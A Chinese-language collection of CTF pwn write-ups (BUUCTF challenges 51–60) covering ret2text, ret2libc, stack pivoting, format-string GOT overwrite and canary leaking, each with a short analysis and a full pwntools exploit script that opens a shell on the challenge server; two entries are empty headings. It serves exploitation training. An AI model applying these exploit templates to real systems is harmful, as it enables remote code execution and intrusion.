51.mrctf2020_easyoverflow
ret2text
(1)分析

main函数:

简单来说就是让check函数执行后返回值为0,我们就能拿到后门函数,注意这里有gets函数漏洞,也就是溢出点在V4这。
check函数:

意思也很明显,就是检查V5是否和fake_flag相等,相等就返回0,那么思路就来了,要么我们通过溢出点覆盖V5让其等于fake_flag,要么我们将两个都覆盖为同一个值,回到主函数查看V4位置。

我们发现V5距离V4有0x30个字节大小,偏移量确定。
看一下fake_flag是啥

那么接下来payload就好写了。
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
context(log_level='debug',arch='amd64',os='linux') io=remote("node5.buuoj.cn",29338)
backdoor_addr=0x087D padding=0x30
payload=b'a'*padding+b"n0t_r3@11y_f1@g"
io.sendline(payload) io.interactive()
|
52.*xdctf2015_pwn200
(1)分析

main函数:

vuln函数:

read漏洞,溢出152字节,完全够用
偏移地址cyclic动调一下,是0x70=112字节
考虑到开了NX保护,优先选择ret2libc,那么payload的构造套用模板就行
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * from LibcSearcher import * context(os='linux',arch='i386',log_level='debug')
io=remote('node5.buuoj.cn',27705)
elf=ELF('./52')
vuln_addr=elf.sym['vuln'] write_plt=elf.plt['write'] write_got=elf.got['write'] padding=0x6c+4
payload1=b'a'*padding payload1 += p32(write_plt)+p32(vuln_addr) payload1 += p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)
write_addr=u32(io.recvuntil('\xf7')[-4:]) log.success('leak_write_real_addr => {}'.format(hex(write_addr)))
'''libc = LibcSearcher("write",write_addr) libcbase=write_addr-libc.dump('write') system_addr=libcbase+libc.dump("system") str_bin_sh=libcbase+libc.dump('str_bin_sh')'''
libc=ELF('32libc-2.23.so') libcbase=write_addr-libc.sym['write'] system_addr=libcbase+libc.sym['system'] str_bin_sh=libcbase+next(libc.search(b"/bin/sh")) payload2 = b'a'*padding+p32(system_addr)+p32(0)+p32(str_bin_sh)
io.sendline(payload2) io.interactive()
|
PS:根据网上师傅的WP,接收地址的问题可以通过看debug来解决
53.*ciscn_2019_s_4
(1)分析

main

vul

read漏洞,溢出8字节
hack

没有/bin/sh字符串,需要自己填充,然后利用ROP链执行
但是8字节不够用,两次read溢出,加中间的printf泄露旧ebp地址,就是上次遇到的25题,当复习了,顺便搞个模板
思路还是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
io=remote('node4.buuoj.cn',28967)
system_addr=xxx leave_ret=xxx padding=xxx
payload=b'a'*(padding-1)+b'b' io.send(payload) io.recvuntil(b"b") s=u32(io.recv(4))-0x38
payload2=b'aaaa'+p32(system_addr)+p32(0xdeadbeef)+p32(s+0x10)+b"/bin/sh" payload2=payload2.ljust(padding,b'\x00') payload2+=p32(s)+p32(leave_ret)
io.send(payload2) io.interactive()
|
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import *
io=remote('node5.buuoj.cn',25513)
system_addr=0x8048400 leave_ret=0x08048562 padding=0x28 offset=0x38
payload=b'a'*(padding-1)+b'b' io.send(payload) io.recvuntil(b"b") s=u32(io.recv(4))-offset
payload2=b'aaaa'+p32(system_addr)+p32(0xdeadbeef)+p32(s+0x10)+b"/bin/sh" payload2=payload2.ljust(padding,b'\x00') payload2+=p32(s)+p32(leave_ret)
io.send(payload2) io.interactive()
|
54.wustctf2020_closed
(1)分析

main

vulnerable

shell

给了后门函数,但是没看到溢出点,我们查一下vulnerable中close(1)和close(2)的意思。
文件描述符为0、1和2 (常说的输入、输出和报错),那么这里的意思就是关闭了标准输出和报错,只剩下标准输入开着。
看了别人的wp发现这又是linux命令的小知识,我们可以对stdout重定向,将文件描述符 1 重定向到文件描述符 0 :因此这题不用写exp,直接执行==execv 1>&0==
这会执行 execv
程序,并将execv
程序的标准输出重定向到当前终端的标准输入,这样 execv
程序输出的内容会被发送到当前终端,并成为当前终端的输入。
因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了
55.[ZJCTF 2019]Login
(1)分析

main

终于遇见C++的题了,先去网上学习一下
看不懂伪代码就先运行一下

然后IDA上搜索字符串,发现后门在Admin::shell函数这

那么我们用户名就试试admin的

这次是段错误,看来方向对了
找找有没有溢出点可以跳转到后门函数


两个输入点都有溢出,但是没法溢出到返回地址,看下检查密码的函数

貌似也没啥问题,没头绪,但是哪里出现了段错误我们还没明白,去pwndbg调调看。
发现是在password_checker函数这出了问题

把rax当作函数执行出现了问题,我们看看能不能控制rax里面的内容让它执行后门函数。
可以看到[rbp+var_68]之前有个mov [rbp+var_68], rdi的指令,所以我们控制rdi,就能控制这里的rax,总所周知rdi是传参的寄存器,那么我们跳出这个函数,看看rdi在主函数中被谁赋值了

还是rax,这里的rax又被上面的[rbp+var_130]赋值了,[rbp+var_130]在上面又被rax赋值了,这个rax得去password_checker函数里去看下

终于看到rax被[rbp+var_18]赋值了,那么只要我们想办法把变量var_18填上后门函数的地址,我们就能控制程序获取shell了。
进两个输入点看看能不能改变量var_18的内容

发现读入的s变量下面就存放着var_18变量,偏移是0x48个字节,刚好能溢出到,那就能写exp了。
由于 fgets
函数会在遇到空字符(’\x00’)或者换行符(’\n’)时停止读取,因此在构造 payload 时使用了 '\x00'
来截断,以确保后续填充的内容不会被 fgets
读取进去,如果格式化字符串过长有可能会破坏我们布置好的shell,这里利用%s
的\x00
截断
(2)payload
1 2 3 4 5 6 7 8 9 10
| from pwn import*
io=remote('node5.buuoj.cn',25242) shell_addr=0x400E88 padding=0x48
payload=b'2jctf_pa5sw0rd'+b'\x00'*(padding-14)+p64(shell_addr) io.sendline('admin') io.sendline(payload) io.interactive()
|
总体来说,这题还是ret2text,但是对汇编和溢出点的查找要求更高
56.jarvisoj_level1
(1)分析

无保护
main

vulnerable_function

溢出显而易见,没有后门函数和/bin/sh字符串,所以要么shellcode,要么libc,先libc试试
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * from LibcSearcher import * context(os='linux',arch='i386',log_level='debug')
io=remote('node5.buuoj.cn',26472)
elf=ELF('./56')
main_addr=elf.sym['main'] write_plt=elf.plt['write'] write_got=elf.got['write'] padding=0x8c
payload1=b'a'*padding payload1 += p32(write_plt)+p32(main_addr) payload1 += p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)
write_addr=u32(io.recv(4)) log.success('leak_write_real_addr => {}'.format(hex(write_addr)))
'''libc = LibcSearcher("write",write_addr) libcbase=write_addr-libc.dump('write') system_addr=libcbase+libc.dump("system") str_bin_sh=libcbase+libc.dump('str_bin_sh')'''
libc=ELF('32libc-2.23.so') libcbase=write_addr-libc.sym['write'] system_addr=libcbase+libc.sym['system'] str_bin_sh=libcbase+next(libc.search(b"/bin/sh")) payload2 = b'a'*padding+p32(system_addr)+p32(0)+p32(str_bin_sh)
io.sendline(payload2) io.interactive()
|
57.hitcontraining_magicheap
(1)分析

main
(2)payload
58.axb_2019_fmt32
(1)分析

main

read无溢出,但是25行有明显的格式化字符串漏洞
好久没写格式化字符串的题了,先复习一下

格式化字符串(format string)是一些程序设计语言的输入/输出库中能将字符串参数转换为另一种形式输出的函数。格式化字符串中的占位符用于指明输出的参数值如何格式化。


漏洞特征:
一旦程序编写不规范,比如正确的写法是:printf("%s", pad)
,偷懒写成了:==printf(pad);==,此时就存在格式化字符串漏洞。
因为printf为可变参数,32位linux系统下是用栈传递参数,栈顶指针esp是第一个参数,此时printf就会打印该字符串,如果进一步遇到格式化符号,比如这里的%p,那么就会以十六进制的方式打印第二个参数,但我们并没有传递第二个参数,所以系统还是将esp+0x4的位置当作第二个参数打印了,以此类推。
网上师傅的这段找参数位置的方法很有用:
64位的前6个参数存储在寄存器中,顺序为rdi,rsi,rdx,rcx,r8.r9,但是由于ASLR的开启,我们是不知道第7个参数到底在哪里的,我们可以多写几个参数与栈上比对

可以看到前2个参数的地址一眼不是栈上的,而第3个是0x7ff开头的,所以是栈上的地址

x64 前 6 个参数存在寄存器上面,而第一个参数又是格式化字符串,所以这实际上就是第 5+4=9 个参数,所以 payload 就写 %9$s
回到本题,没有后门函数,要用格式化字符串泄露出某个libc函数,来获得libc基址
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
io = remote("node5.buuoj.cn","28661") elf=ELF("./58") libc=ELF('32libc-2.23.so')
printf_got = elf.got['printf']
payload = b'a' + p32(printf_got) +b'22'+ b'%8$s' io.sendafter(b'me:', payload) io.recvuntil(b"22") printf_addr = u32(io.recv(4)) print ("printf_addr="+hex(printf_addr))
libc_base=printf_addr-libc.sym['printf'] system=libc_base+libc.sym['system']
'''libc=LibcSearcher('printf',printf_addr) libc_base=printf_addr-libc.dump('printf') system=libc_base+libc.dump('system')'''
print ("system_addr"+hex(system))
payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
io.sendline(payload)
io.sendline(b';/bin/sh\x00') io.interactive()
|
59.others_babystack
(1)分析

main

read漏洞,无后门函数,应该是ret2libc。然后程序有canary保护,我们得先绕过canary。
puts函数在输出的时候是遇到’\x00’ 才会结束,我们都知道canary跟在ebp之后,因此我们直接填充‘a’到ebp,正好 可以把canary的截断符覆盖,再输出,就会连canary一起输出了。
那么思路分析完毕,直接上payload吧
(2)payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') io=remote('node5.buuoj.cn',26947) elf=ELF('./59')
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] pop_rdi_ret=0x400a93
main_addr=0x400908 padding=0x88
leak_canary=b'a'*padding
io.sendlineafter(b">> ",str(1)) io.sendline(leak_canary) io.sendlineafter(b">> ",str(2)) io.recvuntil(b'a\n') canary=u64(io.recv(7).rjust(8,b'\x00')) print (hex(canary))
payload1=b'a'*padding payload1+=p64(canary)+p64(0) payload1+=p64(pop_rdi_ret)+p64(puts_got) payload1+=p64(puts_plt)+p64(main_addr)
io.sendlineafter(b">> ",str(1)) io.sendline(payload1) io.sendlineafter(">>",'3') io.recv()
puts_addr=u64(io.recv(6).ljust(8,b'\x00')) log.success('leak_puts_real_addr => {}'.format(hex(puts_addr)))
'''libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') str_bin_sh = libcbase + libc.dump('str_bin_sh')'''
libc=ELF('64libc-2.23.so') libcbase = puts_addr-libc.sym['puts'] system_addr=libcbase+libc.sym['system'] str_bin_sh=libcbase+next(libc.search(b"/bin/sh")) payload2=b'a'*padding+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
io.sendlineafter(b">> ",str(1)) io.sendline(payload2) io.sendlineafter(">>",'3') io.interactive()
|
60.pwnable_start
手动写shellcode+内平栈
(1)分析

(2)payload